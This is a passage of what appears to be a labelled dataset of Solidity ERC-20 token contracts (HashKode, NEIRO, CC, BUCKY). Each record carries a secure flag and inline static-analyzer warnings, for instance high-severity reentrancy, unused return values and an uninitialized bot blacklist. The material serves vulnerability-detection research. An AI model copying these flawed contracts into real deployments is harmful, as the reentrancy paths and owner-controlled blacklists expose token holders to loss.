true;\n\n _;\n\n _inSwapAndLiquify = false;\n }\n\n constructor() ERC20(\"HashKode\", \"KODE\") Ownable(kodeFundWallet) {\n isExcludedFromTax[kodeFundWallet] = true;\n\n isExcludedFromMaxBuySellLimit[kodeFundWallet] = true;\n\n isExcludedFromMaxWalletLimit[kodeFundWallet] = true;\n\n isExcludedFromTax[operationsWallet] = true;\n\n isExcludedFromMaxBuySellLimit[operationsWallet] = true;\n\n isExcludedFromMaxWalletLimit[operationsWallet] = true;\n\n isExcludedFromMaxWalletLimit[address(this)] = true;\n\n _mint(kodeFundWallet, 1 * 10 ** decimals());\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c4cdc42): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c4cdc42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 34f9f80): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 34f9f80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 55ddef7): HashKode.addNewDexRouter(address) ignores return value by IDexV2Factory(newRouter.factory()).createPair(address(this),newRouter.WETH())\n\t// Recommendation for 55ddef7: Ensure that all the return values of the function calls are used.\n function addNewDexRouter(address routerAddress) external onlyOwner {\n IDexV2Router newRouter = IDexV2Router(routerAddress);\n\n address newPair;\n\n\t\t// reentrancy-events | ID: c4cdc42\n\t\t// reentrancy-benign | ID: 34f9f80\n\t\t// unused-return | ID: 55ddef7\n try\n IDexV2Factory(newRouter.factory()).createPair(\n address(this),\n newRouter.WETH()\n )\n {} catch {}\n\n newPair = IDexV2Factory(newRouter.factory()).getPair(\n address(this),\n newRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 34f9f80\n dexPairStatus[newPair] = true;\n\n\t\t// reentrancy-benign | ID: 34f9f80\n pairToRouter[newPair] = routerAddress;\n\n\t\t// reentrancy-benign | ID: 34f9f80\n routerToPair[routerAddress] = newPair;\n\n\t\t// reentrancy-benign | ID: 34f9f80\n isExcludedFromMaxWalletLimit[newPair] = true;\n\n\t\t// reentrancy-events | ID: c4cdc42\n emit NewRouterAdded(routerAddress, newPair);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e5b3910): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e5b3910: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ef29f25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ef29f25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ca02a2a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ca02a2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n if (\n (dexPairStatus[from] || dexPairStatus[to]) &&\n !(isExcludedFromTax[from] || isExcludedFromTax[to]) &&\n !_inSwapAndLiquify\n ) {\n uint256 taxValue = (value * (_kodeFundTax + _operationsTax)) / 1000;\n\n value -= taxValue;\n\n if (dexPairStatus[to]) {\n\t\t\t\t// reentrancy-events | ID: e5b3910\n\t\t\t\t// reentrancy-benign | ID: ef29f25\n\t\t\t\t// reentrancy-eth | ID: ca02a2a\n _transferETH(to);\n\n require(\n (isExcludedFromMaxBuySellLimit[from] ||\n value <= maxBuySellLimit),\n \"ERC20: maxBuySellLimit exceeded\"\n );\n } else {\n require(\n (isExcludedFromMaxBuySellLimit[to] ||\n value <= maxBuySellLimit),\n \"ERC20: maxBuySellLimit exceeded\"\n );\n }\n\n\t\t\t// reentrancy-events | ID: e5b3910\n\t\t\t// reentrancy-benign | ID: ef29f25\n\t\t\t// reentrancy-eth | ID: ca02a2a\n super._update(from, address(this), taxValue);\n }\n\n require(\n (isExcludedFromMaxWalletLimit[to] ||\n (value + balanceOf(to)) <= maxWalletLimit),\n \"ERC20: maxWalletLimit exceeded\"\n );\n\n\t\t// reentrancy-events | ID: e5b3910\n\t\t// reentrancy-benign | ID: ef29f25\n\t\t// reentrancy-eth | ID: ca02a2a\n super._update(from, to, value);\n }\n\n function _transferETH(address to) private {\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance >= 1000000000000000) {\n _swapTokensForEth(contractBalance, to);\n\n\t\t\t// reentrancy-events | ID: e5b3910\n\t\t\t// reentrancy-eth | ID: ca02a2a\n payable(kodeFundWallet).transfer(\n (address(this).balance * _kodeFundTax) / 20\n );\n\n\t\t\t// reentrancy-events | ID: e5b3910\n\t\t\t// reentrancy-eth | ID: ca02a2a\n payable(operationsWallet).transfer(address(this).balance);\n }\n }\n\n function _swapTokensForEth(\n uint256 tokenAmount,\n address pair\n ) private lockTheSwap {\n IDexV2Router dexRouter = IDexV2Router(pairToRouter[pair]);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: e5b3910\n\t\t// reentrancy-benign | ID: ef29f25\n\t\t// reentrancy-eth | ID: ca02a2a\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n (block.timestamp + 300)\n );\n }\n\n function changeKodeFundWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"ERC20: new wallet is zero address\");\n\n address oldWallet = kodeFundWallet;\n\n kodeFundWallet = newWallet;\n\n emit KodeFundWalletChanged(oldWallet, newWallet);\n }\n\n function changeOperationsWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"ERC20: new wallet is zero address\");\n\n address oldWallet = operationsWallet;\n\n operationsWallet = newWallet;\n\n emit OperationsWalletChanged(oldWallet, newWallet);\n }\n\n function excludeFromTax(address account, bool status) external onlyOwner {\n isExcludedFromTax[account] = status;\n\n emit TaxExclusionUpdated(account, status);\n }\n\n function excludeFromMaxBuySellLimit(\n address account,\n bool status\n ) external onlyOwner {\n isExcludedFromMaxBuySellLimit[account] = status;\n\n emit MaxBuySellLimitExclusionUpdated(account, status);\n }\n\n function excludeFromMaxWalletLimit(\n address account,\n bool status\n ) external onlyOwner {\n isExcludedFromMaxWalletLimit[account] = status;\n\n emit MaxWalletLimitExclusionUpdated(account, status);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1230.sol",
"secure": 0,
"size_bytes": 11382
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract NEIRO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b83eaf2): NEIRO._taxWallet should be immutable \n\t// Recommendation for b83eaf2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b349014): NEIRO._initialBuyTax should be constant \n\t// Recommendation for b349014: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85190a1): NEIRO._initialSellTax should be constant \n\t// Recommendation for 85190a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e8ace7): NEIRO._reduceBuyTaxAt should be constant \n\t// Recommendation for 2e8ace7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66c8685): NEIRO._reduceSellTaxAt should be constant \n\t// Recommendation for 66c8685: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a30862e): NEIRO._preventSwapBefore should be constant \n\t// Recommendation for a30862e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Neurotic Entropy Illusionist Radioactive Immunity\";\n\n string private constant _symbol = unicode\"NEIRO\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7350f97): NEIRO._taxSwapThreshold should be constant \n\t// Recommendation for 7350f97: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c0e3614): NEIRO._maxTaxSwap should be constant \n\t// Recommendation for c0e3614: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x634D928fb3f803B78B8E1a3a5b990B5311DD4d4F);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8dc2e9e): NEIRO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8dc2e9e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 39bb709): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 39bb709: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 27da12c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 27da12c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 39bb709\n\t\t// reentrancy-benign | ID: 27da12c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 39bb709\n\t\t// reentrancy-benign | ID: 27da12c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ae4446a): NEIRO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ae4446a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 27da12c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 39bb709\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d47d1fd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d47d1fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 352c8f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 352c8f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d47d1fd\n\t\t\t\t// reentrancy-eth | ID: 352c8f9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d47d1fd\n\t\t\t\t\t// reentrancy-eth | ID: 352c8f9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 352c8f9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 352c8f9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 352c8f9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d47d1fd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 352c8f9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 352c8f9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d47d1fd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d47d1fd\n\t\t// reentrancy-events | ID: 39bb709\n\t\t// reentrancy-benign | ID: 27da12c\n\t\t// reentrancy-eth | ID: 352c8f9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d47d1fd\n\t\t// reentrancy-events | ID: 39bb709\n\t\t// reentrancy-eth | ID: 352c8f9\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: abf1001): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for abf1001: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6f7a6b0): NEIRO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6f7a6b0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 34673b1): NEIRO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 34673b1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a3b328e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a3b328e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: abf1001\n\t\t// reentrancy-eth | ID: a3b328e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: abf1001\n\t\t// unused-return | ID: 6f7a6b0\n\t\t// reentrancy-eth | ID: a3b328e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: abf1001\n\t\t// unused-return | ID: 34673b1\n\t\t// reentrancy-eth | ID: a3b328e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: abf1001\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a3b328e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1231.sol",
"secure": 0,
"size_bytes": 17280
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CC is ERC20 {\n constructor() ERC20(\"Collective Consciousness\", \"CC\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1232.sol",
"secure": 1,
"size_bytes": 285
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BUCKY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1fe0ab3): BUCKY._bots is never initialized. It is used in BUCKY._transfer(address,address,uint256)\n\t// Recommendation for 1fe0ab3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f09c00): BUCKY._taxWallet should be immutable \n\t// Recommendation for 5f09c00: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 172c85f): BUCKY._initialBuyTax should be constant \n\t// Recommendation for 172c85f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dd12d4): BUCKY._initialSellTax should be constant \n\t// Recommendation for 9dd12d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 574c83f): BUCKY._finalBuyTax should be constant \n\t// Recommendation for 574c83f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fcf1f0c): BUCKY._finalSellTax should be constant \n\t// Recommendation for fcf1f0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 334688d): BUCKY._reduceBuyAt should be constant \n\t// Recommendation for 334688d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d39358): BUCKY._reduceSellAt should be constant \n\t// Recommendation for 8d39358: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: c97d0f4): BUCKY._preventCount should be constant \n\t// Recommendation for c97d0f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bucky\";\n\n string private constant _symbol = unicode\"BUCKY\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 620118c): BUCKY._minTaxSwap should be constant \n\t// Recommendation for 620118c: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: d27908c): BUCKY._maxTaxSwap should be constant \n\t// Recommendation for d27908c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n address private _buckyyyy;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x470a27B7FFbB7Ea1236F1a0dF28e95382d68bd82);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b9b934): BUCKY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0b9b934: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6f9b2bc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6f9b2bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 46160ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 46160ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6f9b2bc\n\t\t// reentrancy-benign | ID: 46160ea\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6f9b2bc\n\t\t// reentrancy-benign | ID: 46160ea\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: db9b8c5): BUCKY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for db9b8c5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 46160ea\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6f9b2bc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7bb684c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7bb684c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: fa8e585): BUCKY._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for fa8e585: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability 